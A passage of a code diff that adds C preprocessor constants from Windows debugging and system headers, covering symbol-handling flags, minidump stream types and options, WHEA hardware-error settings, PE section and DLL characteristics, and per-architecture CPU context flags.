IMAGEHLP_SYMBOL_INFO_TLSRELATIVE 0x4000 +#define IMAGEHLP_RMAP_MAPPED_FLAT 0x1 +#define IMAGEHLP_RMAP_BIG_ENDIAN 0x2 +#define IMAGEHLP_RMAP_IGNORE_MISCOMPARE 0x4 +#define IMAGEHLP_RMAP_FIXUP_ARM64X 0x10000000 +#define IMAGEHLP_RMAP_LOAD_RW_DATA_SECTIONS 0x20000000 +#define IMAGEHLP_RMAP_OMIT_SHARED_RW_DATA_SECTIONS 0x40000000 +#define IMAGEHLP_RMAP_FIXUP_IMAGEBASE 0x80000000 +#define DMP_PHYSICAL_MEMORY_BLOCK_SIZE_32 0x2bc +#define DMP_CONTEXT_RECORD_SIZE_32 0x4b0 +#define DMP_RESERVED_0_SIZE_32 0x6e0 +#define DMP_RESERVED_2_SIZE_32 0x10 +#define DMP_RESERVED_3_SIZE_32 0x38 +#define DMP_PHYSICAL_MEMORY_BLOCK_SIZE_64 0x2bc +#define DMP_CONTEXT_RECORD_SIZE_64 0xbb8 +#define DMP_RESERVED_0_SIZE_64 0xfa8 +#define DMP_HEADER_COMMENT_SIZE 0x80 +#define DUMP_SUMMARY_VALID_KERNEL_VA 0x1 +#define DUMP_SUMMARY_VALID_CURRENT_USER_VA 0x2 +#define MINIDUMP_VERSION 0xa793 +#define MINIDUMP_MISC1_PROCESSOR_POWER_INFO 0x4 +#define MINIDUMP_MISC3_PROCESS_INTEGRITY 0x10 +#define MINIDUMP_MISC3_PROCESS_EXECUTE_FLAGS 0x20 +#define MINIDUMP_MISC3_TIMEZONE 0x40 +#define MINIDUMP_MISC3_PROTECTED_PROCESS 0x80 +#define MINIDUMP_MISC4_BUILDSTRING 0x100 +#define MINIDUMP_MISC5_PROCESS_COOKIE 0x200 +#define MINIDUMP_SYSMEMINFO1_FILECACHE_TRANSITIONREPURPOSECOUNT_FLAGS 0x1 +#define MINIDUMP_SYSMEMINFO1_BASICPERF 0x2 +#define MINIDUMP_SYSMEMINFO1_PERF_CCTOTALDIRTYPAGES_CCDIRTYPAGETHRESHOLD 0x4 +#define MINIDUMP_SYSMEMINFO1_PERF_RESIDENTAVAILABLEPAGES_SHAREDCOMMITPAGES 0x8 +#define MINIDUMP_SYSMEMINFO1_PERF_MDLPAGESALLOCATED_PFNDATABASECOMMITTEDPAGES 0x10 +#define MINIDUMP_SYSMEMINFO1_PERF_SYSTEMPAGETABLECOMMITTEDPAGES_CONTIGUOUSPAGESALLOCATED 0x20 +#define MINIDUMP_PROCESS_VM_COUNTERS 0x1 +#define MINIDUMP_PROCESS_VM_COUNTERS_VIRTUALSIZE 0x2 +#define MINIDUMP_PROCESS_VM_COUNTERS_EX 0x4 +#define MINIDUMP_PROCESS_VM_COUNTERS_EX2 0x8 +#define MINIDUMP_PROCESS_VM_COUNTERS_JOB 0x10 +#define INTERFACESAFE_FOR_UNTRUSTED_CALLER 0x1 +#define INTERFACESAFE_FOR_UNTRUSTED_DATA 0x2 +#define INTERFACE_USES_DISPEX 0x4 +#define INTERFACE_USES_SECURITY_MANAGER 0x8 +#define WCT_MAX_NODE_COUNT 0x10 +#define WCT_OBJNAME_LENGTH 0x80 +#define WCT_NETWORK_IO_FLAG 0x8 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_VERSION_10 0xa +#define WHEA_ERROR_SOURCE_DESCRIPTOR_VERSION_11 0xb +#define WHEA_MAX_MC_BANKS 0x20 +#define WHEA_ERROR_SOURCE_FLAG_FIRMWAREFIRST 0x1 +#define WHEA_ERROR_SOURCE_FLAG_GLOBAL 0x2 +#define WHEA_ERROR_SOURCE_FLAG_GHES_ASSIST 0x4 +#define WHEA_ERROR_SOURCE_FLAG_DEFAULTSOURCE 0x80000000 +#define WHEA_ERR_SRC_OVERRIDE_FLAG 0x40000000 +#define WHEA_ERROR_SOURCE_INVALID_RELATED_SOURCE 0xffff +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_XPFMCE 0x0 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_XPFCMC 0x1 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_XPFNMI 0x2 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_IPFMCA 0x3 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_IPFCMC 0x4 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_IPFCPE 0x5 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_AERROOTPORT 0x6 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_AERENDPOINT 0x7 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_AERBRIDGE 0x8 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_GENERIC 0x9 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_GENERIC_V2 0xa +#define WHEA_XPF_MC_BANK_STATUSFORMAT_IA32MCA 0x0 +#define WHEA_XPF_MC_BANK_STATUSFORMAT_Intel64MCA 0x1 +#define WHEA_XPF_MC_BANK_STATUSFORMAT_AMD64MCA 0x2 +#define WHEA_NOTIFICATION_TYPE_POLLED 0x0 +#define WHEA_NOTIFICATION_TYPE_EXTERNALINTERRUPT 0x1 +#define WHEA_NOTIFICATION_TYPE_LOCALINTERRUPT 0x2 +#define WHEA_NOTIFICATION_TYPE_SCI 0x3 +#define WHEA_NOTIFICATION_TYPE_NMI 0x4 +#define WHEA_NOTIFICATION_TYPE_CMCI 0x5 +#define WHEA_NOTIFICATION_TYPE_MCE 0x6 +#define WHEA_NOTIFICATION_TYPE_GPIO_SIGNAL 0x7 +#define WHEA_NOTIFICATION_TYPE_ARMV8_SEA 0x8 +#define WHEA_NOTIFICATION_TYPE_ARMV8_SEI 0x9 +#define WHEA_NOTIFICATION_TYPE_EXTERNALINTERRUPT_GSIV 0xa +#define WHEA_NOTIFICATION_TYPE_SDEI 0xb +#define WHEA_DEVICE_DRIVER_CONFIG_V1 0x1 +#define WHEA_DEVICE_DRIVER_CONFIG_V2 0x2 +#define WHEA_DEVICE_DRIVER_CONFIG_MIN 0x1 +#define WHEA_DEVICE_DRIVER_CONFIG_MAX 0x2 +#define WHEA_DEVICE_DRIVER_BUFFER_SET_V1 0x1 +#define WHEA_DEVICE_DRIVER_BUFFER_SET_MIN 0x1 +#define WHEA_DEVICE_DRIVER_BUFFER_SET_MAX 0x1 +#define WHEA_DISABLE_OFFLINE 0x0 +#define WHEA_MEM_PERSISTOFFLINE 0x1 +#define WHEA_MEM_PFA_DISABLE 0x2 +#define WHEA_MEM_PFA_PAGECOUNT 0x3 +#define WHEA_MEM_PFA_THRESHOLD 0x4 +#define WHEA_MEM_PFA_TIMEOUT 0x5 +#define WHEA_DISABLE_DUMMY_WRITE 0x6 +#define WHEA_RESTORE_CMCI_ENABLED 0x7 +#define WHEA_RESTORE_CMCI_ATTEMPTS 0x8 +#define WHEA_RESTORE_CMCI_ERR_LIMIT 0x9 +#define WHEA_CMCI_THRESHOLD_COUNT 0xa +#define WHEA_CMCI_THRESHOLD_TIME 0xb +#define WHEA_CMCI_THRESHOLD_POLL_COUNT 0xc +#define WHEA_PENDING_PAGE_LIST_SZ 0xd +#define WHEA_BAD_PAGE_LIST_MAX_SIZE 0xe +#define WHEA_BAD_PAGE_LIST_LOCATION 0xf +#define WHEA_NOTIFY_ALL_OFFLINES 0x10 +#define WHEA_ROW_FAIL_CHECK_EXTENT 0x11 +#define WHEA_ROW_FAIL_CHECK_ENABLE 0x12 +#define WHEA_ROW_FAIL_CHECK_THRESHOLD 0x13 +#define WHEA_DISABLE_PRM_ADDRESS_TRANSLATION 0x14 +#define WHEA_ENABLE_BATCHED_ROW_OFFLINE 0x15 +#define IPMI_OS_SEL_RECORD_VERSION_1 0x1 +#define IPMI_OS_SEL_RECORD_VERSION 0x1 +#define IPMI_IOCTL_INDEX 0x400 +#define IOCTL_IPMI_INTERNAL_RECORD_SEL_EVENT 0x221000 +#define IPMI_OS_SEL_RECORD_MASK 0xffff +#define sevMax 4 +#define BitErrorDdr4 0 +#define RowErrorDdr4 1 +#define BitErrorDdr5 2 +#define RowErrorDdr5 3 +#define SLE_ERROR 0x1 +#define SLE_MINORERROR 0x2 +#define SLE_WARNING 0x3 +#define SYMOPT_EX_DISABLEACCESSTIMEUPDATE 0 +#define SYMOPT_EX_LASTVALIDDEBUGDIRECTORY 1 +#define SYMOPT_EX_NOIMPLICITPATTERNSEARCH 2 +#define SYMOPT_EX_NEVERLOADSYMBOLS 3 +#define SYMOPT_EX_MAX 4 +#define DBGPROP_INFO_NAME 1 +#define DBGPROP_INFO_TYPE 2 +#define DBGPROP_INFO_VALUE 4 +#define DBGPROP_INFO_FULLNAME 32 +#define DBGPROP_INFO_ATTRIBUTES 8 +#define DBGPROP_INFO_DEBUGPROP 16 +#define DBGPROP_INFO_BEAUTIFY 33554432 +#define DBGPROP_INFO_CALLTOSTRING 67108864 +#define DBGPROP_INFO_AUTOEXPAND 134217728 +#define EX_PROP_INFO_ID 256 +#define EX_PROP_INFO_NTYPE 512 +#define EX_PROP_INFO_NVALUE 1024 +#define EX_PROP_INFO_LOCKBYTES 2048 +#define EX_PROP_INFO_DEBUGEXTPROP 4096 +#define DBHHEADER_DEBUGDIRS 0x1 +#define DBHHEADER_CVMISC 0x2 +#define FORMAT_MESSAGE_ALLOCATE_BUFFER 0x100 +#define FORMAT_MESSAGE_ARGUMENT_ARRAY 0x2000 +#define FORMAT_MESSAGE_FROM_HMODULE 0x800 +#define FORMAT_MESSAGE_FROM_STRING 0x400 +#define FORMAT_MESSAGE_FROM_SYSTEM 0x1000 +#define FORMAT_MESSAGE_IGNORE_INSERTS 0x200 +#define PROP_INFO_NAME 1 +#define PROP_INFO_TYPE 2 +#define PROP_INFO_VALUE 4 +#define PROP_INFO_FULLNAME 32 +#define PROP_INFO_ATTRIBUTES 8 +#define PROP_INFO_DEBUGPROP 16 +#define PROP_INFO_AUTOEXPAND 134217728 +#define UnusedStream 0 +#define ReservedStream0 1 +#define ReservedStream1 2 +#define ThreadListStream 3 +#define ModuleListStream 4 +#define MemoryListStream 5 +#define ExceptionStream 6 +#define SystemInfoStream 7 +#define ThreadExListStream 8 +#define Memory64ListStream 9 +#define CommentStreamA 10 +#define CommentStreamW 11 +#define HandleDataStream 12 +#define FunctionTableStream 13 +#define UnloadedModuleListStream 14 +#define MiscInfoStream 15 +#define MemoryInfoListStream 16 +#define ThreadInfoListStream 17 +#define HandleOperationListStream 18 +#define TokenStream 19 +#define JavaScriptDataStream 20 +#define SystemMemoryInfoStream 21 +#define ProcessVmCountersStream 22 +#define IptTraceStream 23 +#define ThreadNamesStream 24 +#define ceStreamNull 32768 +#define ceStreamSystemInfo 32769 +#define ceStreamException 32770 +#define ceStreamModuleList 32771 +#define ceStreamProcessList 32772 +#define ceStreamThreadList 32773 +#define ceStreamThreadContextList 32774 +#define ceStreamThreadCallStackList 32775 +#define ceStreamMemoryVirtualList 32776 +#define ceStreamMemoryPhysicalList 32777 +#define ceStreamBucketParameters 32778 +#define ceStreamProcessModuleMap 32779 +#define ceStreamDiagnosisList 32780 +#define LastReservedStream 65535 +#define WctStatusNoAccess 1 +#define WctStatusRunning 2 +#define WctStatusBlocked 3 +#define WctStatusPidOnly 4 +#define WctStatusPidOnlyRpcss 5 +#define WctStatusOwned 6 +#define WctStatusNotOwned 7 +#define WctStatusAbandoned 8 +#define WctStatusUnknown 9 +#define WctStatusError 10 +#define WctStatusMax 11 +#define WctCriticalSectionType 1 +#define WctSendMessageType 2 +#define WctMutexType 3 +#define WctAlpcType 4 +#define WctComType 5 +#define WctThreadWaitType 6 +#define WctProcessWaitType 7 +#define WctThreadType 8 +#define WctComActivationType 9 +#define WctUnknownType 10 +#define WctSocketIoType 11 +#define WctSmbIoType 12 +#define WctMaxType 13 +#define DBGPROP_ATTRIB_NO_ATTRIB 0 +#define DBGPROP_ATTRIB_VALUE_IS_INVALID 8 +#define DBGPROP_ATTRIB_VALUE_IS_EXPANDABLE 16 +#define DBGPROP_ATTRIB_VALUE_IS_FAKE 32 +#define DBGPROP_ATTRIB_VALUE_IS_METHOD 256 +#define DBGPROP_ATTRIB_VALUE_IS_EVENT 512 +#define DBGPROP_ATTRIB_VALUE_IS_RAW_STRING 1024 +#define DBGPROP_ATTRIB_VALUE_READONLY 2048 +#define DBGPROP_ATTRIB_ACCESS_PUBLIC 4096 +#define DBGPROP_ATTRIB_ACCESS_PRIVATE 8192 +#define DBGPROP_ATTRIB_ACCESS_PROTECTED 16384 +#define DBGPROP_ATTRIB_ACCESS_FINAL 32768 +#define DBGPROP_ATTRIB_STORAGE_GLOBAL 65536 +#define DBGPROP_ATTRIB_STORAGE_STATIC 131072 +#define DBGPROP_ATTRIB_STORAGE_FIELD 262144 +#define DBGPROP_ATTRIB_STORAGE_VIRTUAL 524288 +#define DBGPROP_ATTRIB_TYPE_IS_CONSTANT 1048576 +#define DBGPROP_ATTRIB_TYPE_IS_SYNCHRONIZED 2097152 +#define DBGPROP_ATTRIB_TYPE_IS_VOLATILE 4194304 +#define DBGPROP_ATTRIB_HAS_EXTENDED_ATTRIBS 8388608 +#define DBGPROP_ATTRIB_FRAME_INTRYBLOCK 16777216 +#define DBGPROP_ATTRIB_FRAME_INCATCHBLOCK 33554432 +#define DBGPROP_ATTRIB_FRAME_INFINALLYBLOCK 67108864 +#define DBGPROP_ATTRIB_VALUE_IS_RETURN_VALUE 134217728 +#define DBGPROP_ATTRIB_VALUE_PENDING_MUTATION 268435456 +#define WheaErrSrcStateStopped 1 +#define WheaErrSrcStateStarted 2 +#define WheaErrSrcStateRemoved 3 +#define WheaErrSrcStateRemovePending 4 +#define UNW_FLAG_NHANDLER 0x0 +#define UNW_FLAG_EHANDLER 0x1 +#define UNW_FLAG_UHANDLER 0x2 +#define UNW_FLAG_CHAININFO 0x4 +#define IMAGE_SCN_TYPE_NO_PAD 0x8 +#define IMAGE_SCN_CNT_CODE 0x20 +#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x40 +#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x80 +#define IMAGE_SCN_LNK_OTHER 0x100 +#define IMAGE_SCN_LNK_INFO 0x200 +#define IMAGE_SCN_LNK_REMOVE 0x800 +#define IMAGE_SCN_LNK_COMDAT 0x1000 +#define IMAGE_SCN_NO_DEFER_SPEC_EXC 0x4000 +#define IMAGE_SCN_GPREL 0x8000 +#define IMAGE_SCN_MEM_FARDATA 0x8000 +#define IMAGE_SCN_MEM_PURGEABLE 0x20000 +#define IMAGE_SCN_MEM_16BIT 0x20000 +#define IMAGE_SCN_MEM_LOCKED 0x40000 +#define IMAGE_SCN_MEM_PRELOAD 0x80000 +#define IMAGE_SCN_ALIGN_1BYTES 0x100000 +#define IMAGE_SCN_ALIGN_2BYTES 0x200000 +#define IMAGE_SCN_ALIGN_4BYTES 0x300000 +#define IMAGE_SCN_ALIGN_8BYTES 0x400000 +#define IMAGE_SCN_ALIGN_16BYTES 0x500000 +#define IMAGE_SCN_ALIGN_32BYTES 0x600000 +#define IMAGE_SCN_ALIGN_64BYTES 0x700000 +#define IMAGE_SCN_ALIGN_128BYTES 0x800000 +#define IMAGE_SCN_ALIGN_256BYTES 0x900000 +#define IMAGE_SCN_ALIGN_512BYTES 0xa00000 +#define IMAGE_SCN_ALIGN_1024BYTES 0xb00000 +#define IMAGE_SCN_ALIGN_2048BYTES 0xc00000 +#define IMAGE_SCN_ALIGN_4096BYTES 0xd00000 +#define IMAGE_SCN_ALIGN_8192BYTES 0xe00000 +#define IMAGE_SCN_ALIGN_MASK 0xf00000 +#define IMAGE_SCN_LNK_NRELOC_OVFL 0x1000000 +#define IMAGE_SCN_MEM_DISCARDABLE 0x2000000 +#define IMAGE_SCN_MEM_NOT_CACHED 0x4000000 +#define IMAGE_SCN_MEM_NOT_PAGED 0x8000000 +#define IMAGE_SCN_MEM_SHARED 0x10000000 +#define IMAGE_SCN_MEM_EXECUTE 0x20000000 +#define IMAGE_SCN_MEM_READ 0x40000000 +#define IMAGE_SCN_MEM_WRITE 0x80000000 +#define IMAGE_SCN_SCALE_INDEX 0x1 +#define ThreadWriteThread 1 +#define ThreadWriteStack 2 +#define ThreadWriteContext 4 +#define ThreadWriteBackingStore 8 +#define ThreadWriteInstructionWindow 16 +#define ThreadWriteThreadData 32 +#define ThreadWriteThreadInfo 64 +#define MiniDumpNormal 0 +#define MiniDumpWithDataSegs 1 +#define MiniDumpWithFullMemory 2 +#define MiniDumpWithHandleData 4 +#define MiniDumpFilterMemory 8 +#define MiniDumpScanMemory 16 +#define MiniDumpWithUnloadedModules 32 +#define MiniDumpWithIndirectlyReferencedMemory 64 +#define MiniDumpFilterModulePaths 128 +#define MiniDumpWithProcessThreadData 256 +#define MiniDumpWithPrivateReadWriteMemory 512 +#define MiniDumpWithoutOptionalData 1024 +#define MiniDumpWithFullMemoryInfo 2048 +#define MiniDumpWithThreadInfo 4096 +#define MiniDumpWithCodeSegs 8192 +#define MiniDumpWithoutAuxiliaryState 16384 +#define MiniDumpWithFullAuxiliaryState 32768 +#define MiniDumpWithPrivateWriteCopyMemory 65536 +#define MiniDumpIgnoreInaccessibleMemory 131072 +#define MiniDumpWithTokenInformation 262144 +#define MiniDumpWithModuleHeaders 524288 +#define MiniDumpFilterTriage 1048576 +#define MiniDumpWithAvxXStateContext 2097152 +#define MiniDumpWithIptTrace 4194304 +#define MiniDumpScanInaccessiblePartialPages 8388608 +#define MiniDumpFilterWriteCombinedMemory 16777216 +#define MiniDumpValidTypeFlags 33554431 +#define MiniDumpNoIgnoreInaccessibleMemory 33554432 +#define MiniDumpValidTypeFlagsEx 67108863 +#define OBJECT_ATTRIB_NO_ATTRIB 0 +#define OBJECT_ATTRIB_NO_NAME 1 +#define OBJECT_ATTRIB_NO_TYPE 2 +#define OBJECT_ATTRIB_NO_VALUE 4 +#define OBJECT_ATTRIB_VALUE_IS_INVALID 8 +#define OBJECT_ATTRIB_VALUE_IS_OBJECT 16 +#define OBJECT_ATTRIB_VALUE_IS_ENUM 32 +#define OBJECT_ATTRIB_VALUE_IS_CUSTOM 64 +#define OBJECT_ATTRIB_OBJECT_IS_EXPANDABLE 112 +#define OBJECT_ATTRIB_VALUE_HAS_CODE 128 +#define OBJECT_ATTRIB_TYPE_IS_OBJECT 256 +#define OBJECT_ATTRIB_TYPE_HAS_CODE 512 +#define OBJECT_ATTRIB_TYPE_IS_EXPANDABLE 256 +#define OBJECT_ATTRIB_SLOT_IS_CATEGORY 1024 +#define OBJECT_ATTRIB_VALUE_READONLY 2048 +#define OBJECT_ATTRIB_ACCESS_PUBLIC 4096 +#define OBJECT_ATTRIB_ACCESS_PRIVATE 8192 +#define OBJECT_ATTRIB_ACCESS_PROTECTED 16384 +#define OBJECT_ATTRIB_ACCESS_FINAL 32768 +#define OBJECT_ATTRIB_STORAGE_GLOBAL 65536 +#define OBJECT_ATTRIB_STORAGE_STATIC 131072 +#define OBJECT_ATTRIB_STORAGE_FIELD 262144 +#define OBJECT_ATTRIB_STORAGE_VIRTUAL 524288 +#define OBJECT_ATTRIB_TYPE_IS_CONSTANT 1048576 +#define OBJECT_ATTRIB_TYPE_IS_SYNCHRONIZED 2097152 +#define OBJECT_ATTRIB_TYPE_IS_VOLATILE 4194304 +#define OBJECT_ATTRIB_HAS_EXTENDED_ATTRIBS 8388608 +#define OBJECT_ATTRIB_IS_CLASS 16777216 +#define OBJECT_ATTRIB_IS_FUNCTION 33554432 +#define OBJECT_ATTRIB_IS_VARIABLE 67108864 +#define OBJECT_ATTRIB_IS_PROPERTY 134217728 +#define OBJECT_ATTRIB_IS_MACRO 268435456 +#define OBJECT_ATTRIB_IS_TYPE 536870912 +#define OBJECT_ATTRIB_IS_INHERITED 1073741824 +#define OBJECT_ATTRIB_IS_INTERFACE -2147483648 +#define SLMFLAG_NONE 0x0 +#define SLMFLAG_VIRTUAL 0x1 +#define SLMFLAG_ALT_INDEX 0x2 +#define SLMFLAG_NO_SYMBOLS 0x4 +#define MiniHandleObjectInformationNone 0 +#define MiniThreadInformation1 1 +#define MiniMutantInformation1 2 +#define MiniMutantInformation2 3 +#define MiniProcessInformation1 4 +#define MiniProcessInformation2 5 +#define MiniEventInformation1 6 +#define MiniSectionInformation1 7 +#define MiniSemaphoreInformation1 8 +#define MiniHandleObjectInformationTypeMax 9 +#define IMAGE_DEBUG_TYPE_UNKNOWN 0x0 +#define IMAGE_DEBUG_TYPE_COFF 0x1 +#define IMAGE_DEBUG_TYPE_CODEVIEW 0x2 +#define IMAGE_DEBUG_TYPE_FPO 0x3 +#define IMAGE_DEBUG_TYPE_MISC 0x4 +#define IMAGE_DEBUG_TYPE_EXCEPTION 0x5 +#define IMAGE_DEBUG_TYPE_FIXUP 0x6 +#define IMAGE_DEBUG_TYPE_BORLAND 0x9 +#define IMAGE_SUBSYSTEM_UNKNOWN 0x0 +#define IMAGE_SUBSYSTEM_NATIVE 0x1 +#define IMAGE_SUBSYSTEM_WINDOWS_GUI 0x2 +#define IMAGE_SUBSYSTEM_WINDOWS_CUI 0x3 +#define IMAGE_SUBSYSTEM_OS2_CUI 0x5 +#define IMAGE_SUBSYSTEM_POSIX_CUI 0x7 +#define IMAGE_SUBSYSTEM_NATIVE_WINDOWS 0x8 +#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI 0x9 +#define IMAGE_SUBSYSTEM_EFI_APPLICATION 0xa +#define IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER 0xb +#define IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER 0xc +#define IMAGE_SUBSYSTEM_EFI_ROM 0xd +#define IMAGE_SUBSYSTEM_XBOX 0xe +#define IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION 0x10 +#define IMAGE_SUBSYSTEM_XBOX_CODE_CATALOG 0x11 +#define IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA 0x20 +#define IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 0x40 +#define IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY 0x80 +#define IMAGE_DLLCHARACTERISTICS_NX_COMPAT 0x100 +#define IMAGE_DLLCHARACTERISTICS_NO_ISOLATION 0x200 +#define IMAGE_DLLCHARACTERISTICS_NO_SEH 0x400 +#define IMAGE_DLLCHARACTERISTICS_NO_BIND 0x800 +#define IMAGE_DLLCHARACTERISTICS_APPCONTAINER 0x1000 +#define IMAGE_DLLCHARACTERISTICS_WDM_DRIVER 0x2000 +#define IMAGE_DLLCHARACTERISTICS_GUARD_CF 0x4000 +#define IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE 0x8000 +#define IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT 0x1 +#define IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT_STRICT_MODE 0x2 +#define IMAGE_DLLCHARACTERISTICS_EX_CET_SET_CONTEXT_IP_VALIDATION_RELAXED_MODE 0x4 +#define IMAGE_DLLCHARACTERISTICS_EX_CET_DYNAMIC_APIS_ALLOW_IN_PROC 0x8 +#define IMAGE_DLLCHARACTERISTICS_EX_CET_RESERVED_1 0x10 +#define IMAGE_DLLCHARACTERISTICS_EX_CET_RESERVED_2 0x20 +#define IMAGE_DLLCHARACTERISTICS_EX_FORWARD_CFI_COMPAT 0x40 +#define IMAGE_DLLCHARACTERISTICS_EX_HOTPATCH_COMPATIBLE 0x80 +#define SymNone 0 +#define SymCoff 1 +#define SymCv 2 +#define SymPdb 3 +#define SymExport 4 +#define SymDeferred 5 +#define SymSym 6 +#define SymDia 7 +#define SymVirtual 8 +#define NumSymTypes 9 +#define WOW64_CONTEXT_X86 0x10000 +#define WOW64_CONTEXT_CONTROL 0x10001 +#define WOW64_CONTEXT_INTEGER 0x10002 +#define WOW64_CONTEXT_SEGMENTS 0x10004 +#define WOW64_CONTEXT_FLOATING_POINT 0x10008 +#define WOW64_CONTEXT_DEBUG_REGISTERS 0x10010 +#define WOW64_CONTEXT_EXTENDED_REGISTERS 0x10020 +#define WOW64_CONTEXT_FULL 0x10007 +#define WOW64_CONTEXT_ALL 0x1003f +#define WOW64_CONTEXT_XSTATE 0x10040 +#define WOW64_CONTEXT_EXCEPTION_ACTIVE 0x8000000 +#define WOW64_CONTEXT_SERVICE_ACTIVE 0x10000000 +#define WOW64_CONTEXT_EXCEPTION_REQUEST 0x40000000 +#define WOW64_CONTEXT_EXCEPTION_REPORTING 0x80000000 +#define MINIDUMP_MISC1_PROCESS_ID 0x1 +#define MINIDUMP_MISC1_PROCESS_TIMES 0x2 +#define IMAGE_NT_OPTIONAL_HDR_MAGIC 0x20b +#define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b +#define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b +#define IMAGE_ROM_OPTIONAL_HDR_MAGIC 0x107 +#define DUMP_TYPE_INVALID -1 +#define DUMP_TYPE_UNKNOWN 0 +#define DUMP_TYPE_FULL 1 +#define DUMP_TYPE_SUMMARY 2 +#define DUMP_TYPE_HEADER 3 +#define DUMP_TYPE_TRIAGE 4 +#define DUMP_TYPE_BITMAP_FULL 5 +#define DUMP_TYPE_BITMAP_KERNEL 6 +#define DUMP_TYPE_AUTOMATIC 7 +#define SYMFLAG_CLR_TOKEN 0x40000 +#define SYMFLAG_CONSTANT 0x100 +#define SYMFLAG_EXPORT 0x200 +#define SYMFLAG_FORWARDER 0x400 +#define SYMFLAG_FRAMEREL 0x20 +#define SYMFLAG_FUNCTION 0x800 +#define SYMFLAG_ILREL 0x10000 +#define SYMFLAG_LOCAL 0x80 +#define SYMFLAG_METADATA 0x20000 +#define SYMFLAG_PARAMETER 0x40 +#define SYMFLAG_REGISTER 0x8 +#define SYMFLAG_REGREL 0x10 +#define SYMFLAG_SLOT 0x8000 +#define SYMFLAG_THUNK 0x2000 +#define SYMFLAG_TLSREL 0x4000 +#define SYMFLAG_VALUEPRESENT 0x1 +#define SYMFLAG_VIRTUAL 0x1000 +#define ModuleCallback 0 +#define ThreadCallback 1 +#define ThreadExCallback 2 +#define IncludeThreadCallback 3 +#define IncludeModuleCallback 4 +#define MemoryCallback 5 +#define CancelCallback 6 +#define WriteKernelMinidumpCallback 7 +#define KernelMinidumpStatusCallback 8 +#define RemoveMemoryCallback 9 +#define IncludeVmRegionCallback 10 +#define IoStartCallback 11 +#define IoWriteAllCallback 12 +#define IoFinishCallback 13 +#define ReadMemoryFailureCallback 14 +#define SecondaryFlagsCallback 15 +#define IsProcessSnapshotCallback 16 +#define VmStartCallback 17 +#define VmQueryCallback 18 +#define VmPreReadCallback 19 +#define VmPostReadCallback 20 +#define CONTEXT_AMD64 0x100000 +#define CONTEXT_CONTROL_AMD64 0x100001 +#define CONTEXT_INTEGER_AMD64 0x100002 +#define CONTEXT_SEGMENTS_AMD64 0x100004 +#define CONTEXT_FLOATING_POINT_AMD64 0x100008 +#define CONTEXT_DEBUG_REGISTERS_AMD64 0x100010 +#define CONTEXT_FULL_AMD64 0x10000b +#define CONTEXT_ALL_AMD64 0x10001f +#define CONTEXT_XSTATE_AMD64 0x100040 +#define CONTEXT_KERNEL_CET_AMD64 0x100080 +#define CONTEXT_KERNEL_DEBUGGER_AMD64 0x4000000 +#define CONTEXT_EXCEPTION_ACTIVE_AMD64 0x8000000 +#define CONTEXT_SERVICE_ACTIVE_AMD64 0x10000000 +#define CONTEXT_EXCEPTION_REQUEST_AMD64 0x40000000 +#define CONTEXT_EXCEPTION_REPORTING_AMD64 0x80000000 +#define CONTEXT_UNWOUND_TO_CALL_AMD64 0x20000000 +#define CONTEXT_X86 0x10000 +#define CONTEXT_CONTROL_X86 0x10001 +#define CONTEXT_INTEGER_X86 0x10002 +#define CONTEXT_SEGMENTS_X86 0x10004 +#define CONTEXT_FLOATING_POINT_X86 0x10008 +#define CONTEXT_DEBUG_REGISTERS_X86 0x10010 +#define CONTEXT_EXTENDED_REGISTERS_X86 0x10020 +#define CONTEXT_FULL_X86 0x10007 +#define CONTEXT_ALL_X86 0x1003f +#define CONTEXT_XSTATE_X86 0x10040 +#define CONTEXT_EXCEPTION_ACTIVE_X86 0x8000000 +#define CONTEXT_SERVICE_ACTIVE_X86 0x10000000 +#define CONTEXT_EXCEPTION_REQUEST_X86 0x40000000 +#define CONTEXT_EXCEPTION_REPORTING_X86 0x80000000 +#define CONTEXT_ARM64 0x400000 +#define CONTEXT_CONTROL_ARM64 0x400001 +#define CONTEXT_INTEGER_ARM64 0x400002 +#define CONTEXT_FLOATING_POINT_ARM64 0x400004 +#define CONTEXT_DEBUG_REGISTERS_ARM64 0x400008 +#define CONTEXT_X18_ARM64 0x400010 +#define CONTEXT_FULL_ARM64 0x400007 +#define CONTEXT_ALL_ARM64 0x40001f +#define CONTEXT_EXCEPTION_ACTIVE_ARM64 0x8000000 +#define CONTEXT_SERVICE_ACTIVE_ARM64 0x10000000 +#define CONTEXT_EXCEPTION_REQUEST_ARM64 0x40000000 +#define CONTEXT_EXCEPTION_REPORTING_ARM64 0x80000000 +#define CONTEXT_UNWOUND_TO_CALL_ARM64 0x20000000 +#define CONTEXT_RET_TO_GUEST_ARM64 0x40000000 +#define CONTEXT_ARM 0x200000 +#define CONTEXT_CONTROL_ARM 0x200001 +#define CONTEXT_INTEGER_ARM 0x200002 +#define CONTEXT_FLOATING_POINT_ARM 0x200004 +#define CONTEXT_DEBUG_REGISTERS_ARM 0x200008 +#define CONTEXT_FULL_ARM 0x200007 +#define CONTEXT_ALL_ARM 0x20000f +#define CONTEXT_EXCEPTION_ACTIVE_ARM 0x8000000 +#define CONTEXT_SERVICE_ACTIVE_ARM 0x10000000 